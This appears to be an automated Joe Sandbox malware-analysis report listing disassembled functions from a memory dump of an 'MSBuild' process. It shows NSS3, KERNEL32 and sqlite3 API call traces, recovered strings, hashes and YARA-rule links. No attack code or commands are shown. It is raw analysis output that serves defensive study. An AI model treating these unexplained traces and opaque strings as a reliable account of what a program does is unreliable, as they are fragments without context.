Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

EnterCriticalSection.KERNEL32(?), ref: 6CD0AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CD0AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CD0AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CD0AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD0B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B070
PR_JoinThread.NSS3(?), ref: 6CD0B07B
free.MOZGLUE(?), ref: 6CD0B084
EnterCriticalSection.KERNEL32(?), ref: 6CD0B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B0C4
PR_JoinThread.NSS3(?), ref: 6CD0B0F3
free.MOZGLUE(?), ref: 6CD0B0FC
PR_JoinThread.NSS3(?), ref: 6CD0B137
free.MOZGLUE(?), ref: 6CD0B140

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction ID: e4f8d93cceecf91c3bf37194d4ab0c3f2f2143c083f5cd86b6668d7f7b93346e
Opcode Fuzzy Hash: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction Fuzzy Hash: EC915EB5A00601DFCB04DF19D88085ABBF1FF4931872985A9D8595BB62E732FC4ACF91

Function 6CC12980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?,?,6CC0F03D), ref: 6CC129A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC129B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?,?,6CC0F03D), ref: 6CC129E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC129F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC12A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71), ref: 6CC12A13

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Unlock.NSS3(?), ref: 6CC12A6A
TlsGetValue.KERNEL32 ref: 6CC12A98
EnterCriticalSection.KERNEL32(?), ref: 6CC12AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CC12ABC
PR_Unlock.NSS3(?), ref: 6CC12AC9
TlsGetValue.KERNEL32 ref: 6CC12B3D
EnterCriticalSection.KERNEL32(?), ref: 6CC12B51
PL_HashTableLookup.NSS3(?,6CBF9E71), ref: 6CC12B61
PR_Unlock.NSS3(?), ref: 6CC12B6E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 354a18db4a4bcbde3b25af4855cddb1dbaf21eed75feab67c039395c41318ead
Instruction ID: 2f6a46968129ca1ea0c3c8833476476de59978514f87f044178843a2f8781a38
Opcode Fuzzy Hash: 354a18db4a4bcbde3b25af4855cddb1dbaf21eed75feab67c039395c41318ead
Instruction Fuzzy Hash: 73713D7AD042049BEF009F25DC4499A77B8FF0A358B058564DD1C9BB11FB31E994D7D0

Function 6CC08DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC08E22
EnterCriticalSection.KERNEL32(?), ref: 6CC08E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC08E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC08EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC08EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F00
free.MOZGLUE(?), ref: 6CC08F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC08F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F5B
PR_Unlock.NSS3(?), ref: 6CC08F72
PR_Unlock.NSS3(?), ref: 6CC08F82

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction ID: 0450e926c12db3b8e0608eb8b4aeb6d9b7f31f1be32c3412844b60f5813e9ecb
Opcode Fuzzy Hash: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction Fuzzy Hash: 1251E6B2F002119FEB009F69CC84DAAB779FF45758B148529E8189BB50F732ED4587E1

Function 6CD00FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD01000

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD01016

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_Unlock.NSS3(?), ref: 6CD01021

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD01046
PR_Unlock.NSS3(?), ref: 6CD0106B
PR_Lock.NSS3 ref: 6CD01079
PR_Unlock.NSS3 ref: 6CD01096
free.MOZGLUE(?), ref: 6CD010A7
free.MOZGLUE(?), ref: 6CD010B4
PR_DestroyCondVar.NSS3(?), ref: 6CD010BF
PR_DestroyCondVar.NSS3(?), ref: 6CD010CA
PR_DestroyCondVar.NSS3(?), ref: 6CD010D5
PR_DestroyCondVar.NSS3(?), ref: 6CD010E0
PR_DestroyLock.NSS3(?), ref: 6CD010EB
free.MOZGLUE(?), ref: 6CD01105

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction ID: 7fc2fd335b570ee1c56474e1eee6b416d09830778d73972a5fa801db2fcf3cfc
Opcode Fuzzy Hash: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction Fuzzy Hash: CB31ADB5A00441ABEB01AF14EC41A49B775BF0135DF484130E80912FA1E772F878DBD2

Function 6CC3EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC3EE0B

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC3EEE1

Part of subcall function 6CC31D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC31D7E
Part of subcall function 6CC31D50: EnterCriticalSection.KERNEL32(?), ref: 6CC31D8E
Part of subcall function 6CC31D50: PR_Unlock.NSS3(?), ref: 6CC31DD3

TlsGetValue.KERNEL32 ref: 6CC3EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC3EE65
PR_Unlock.NSS3(?), ref: 6CC3EEA2
free.MOZGLUE(?), ref: 6CC3EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EED0
PR_Unlock.NSS3(?), ref: 6CC3EF48
free.MOZGLUE(?), ref: 6CC3EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3EFA4
free.MOZGLUE(?), ref: 6CC3EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC3F055
free.MOZGLUE(?), ref: 6CC3F060

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction ID: 9df8e4c50f97f494b8db57f73af3ab93bfeecd02223879790ae135b028c1c5c8
Opcode Fuzzy Hash: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction Fuzzy Hash: FF816071A00215AFEF00DF65EC85ADE7BB9BF48318F555028E909A3651F731E924CBA1

Function 6CC04CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC04D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC04D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC04E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC04E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC04E85
DER_Encode_Util.NSS3(?,?,6CD505A4,00000000), ref: 6CC04EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC04F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC04F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC04F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC04F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04FC8

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction ID: 3f3647c43a226b45b3b53ba31050f39f6629a0ce1a38a801d603315899dccc2f
Opcode Fuzzy Hash: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction Fuzzy Hash: 70818071A08301AFE701CF29D880B5BB7E8AB94758F15892DF958DB641F732E905CB92

Function 6CC38F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC39582), ref: 6CC38F5B

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38F6A

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC38FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC38FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD1D820,6CC39576), ref: 6CC38FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC3901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC3903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC39062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC390A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC390CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC390F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC3912D
free.MOZGLUE(00000000), ref: 6CC39136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC39145

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction ID: b450d69fecd1e19efdfb2f7f0917f4b728ca6b29e4d8b82683131adccf46965f
Opcode Fuzzy Hash: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction Fuzzy Hash: 1051F4B1A042109BE700DF28EC81B9BB7F4AF88318F054529E959D7741FB35E959CBD2

Function 6CCC4C40 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CCC4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4CFD
sqlite3_value_text16.NSS3(?), ref: 6CCC4D44

Strings

invalid, xrefs: 6CCC4CF1
no more rows available, xrefs: 6CCC4D2E
unknown error, xrefs: 6CCC4D56
bad parameter or other API misuse, xrefs: 6CCC4D05
out of memory, xrefs: 6CCC4C78, 6CCC4C9E
API call with %s database connection pointer, xrefs: 6CCC4CF6
eUJeVm6qaia4FY5gnvlCI7KEQZXDlbDrzyITwzTgmcrNb1yJyOf/XSIoyGOhjh6f+BocfhE6SvRvv1w7Mj/7dMhgK4TgD5Mdhjln0oNH+ccZwQoVuY4IwAh7zgjoOR4IMn2HVrvSmY7tN7x/A6tv5y4nxy78xav1sOct3jF8s5b/GTEvWXMW/6yvNXooQcIOxELgDKly1b78FGNlxsPInfBuojsra6jz4HsJ2JBO2jpzSQ1WHGXFOKBU7A/ZOGGBuwhC, xrefs: 6CCC4D60
another row available, xrefs: 6CCC4D20
abort due to ROLLBACK, xrefs: 6CCC4D27, 6CCC4D33

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$eUJeVm6qaia4FY5gnvlCI7KEQZXDlbDrzyITwzTgmcrNb1yJyOf/XSIoyGOhjh6f+BocfhE6SvRvv1w7Mj/7dMhgK4TgD5Mdhjln0oNH+ccZwQoVuY4IwAh7zgjoOR4IMn2HVrvSmY7tN7x/A6tv5y4nxy78xav1sOct3jF8s5b/GTEvWXMW/6yvNXooQcIOxELgDKly1b78FGNlxsPInfBuojsra6jz4HsJ2JBO2jpzSQ1WHGXFOKBU7A/ZOGGBuwhC$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-1004405499
Opcode ID: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction ID: 13ab4e3d5a7590591327eb9eb08855ee23a6ea9575e8b67ff4367ab76be91386
Opcode Fuzzy Hash: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction Fuzzy Hash: 8A314572F08851A7E704DB28D8007B5B366BB82318F258165D5244BF34F725AC5283D3

Function 6CD0C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CD0C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD0C8DA
malloc.MOZGLUE(00000001), ref: 6CD0C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD0C8F8
PR_NewLock.NSS3 ref: 6CD0C909
PR_NewCondVar.NSS3(00000000), ref: 6CD0C918
PR_NewCondVar.NSS3(00000000), ref: 6CD0C92A

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

free.MOZGLUE(00000000), ref: 6CD0C947

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 3e8869e6b66935835dcd18c0a833fea8f9cb1ec5728df47b12a81d89c195b820
Instruction ID: 6844ac36551ededa47909ef729d2fc2e7538cdd4c2c9de9ed8f3f53794995a08
Opcode Fuzzy Hash: 3e8869e6b66935835dcd18c0a833fea8f9cb1ec5728df47b12a81d89c195b820
Instruction Fuzzy Hash: E721C8B1B007019BEB107F7C9C4565B76BCEF85299F144438E99AC2B50E731E51887B2

Function 6CBEAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBEAF47

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

FreeLibrary.KERNEL32(?), ref: 6CBEAF6D
free.MOZGLUE(?), ref: 6CBEAFA4
free.MOZGLUE(?), ref: 6CBEAFAA
PR_ExitMonitor.NSS3 ref: 6CBEAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CBEAFF5
PR_ExitMonitor.NSS3 ref: 6CBEB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CBEB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB03C

Strings

Unloaded library %s, xrefs: 6CBEB023
%s decr => %d, xrefs: 6CBEAFF0

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction ID: d8af5ee22416b14889ea4dbf46706c90eeb4ca784bf584eadba1f727654a0d26
Opcode Fuzzy Hash: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction Fuzzy Hash: E93127B5B04150ABEF01AF64DC40A15BBBCEF09B9CB594235E905D7A40F332E818CBE2

Function 6CC36C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
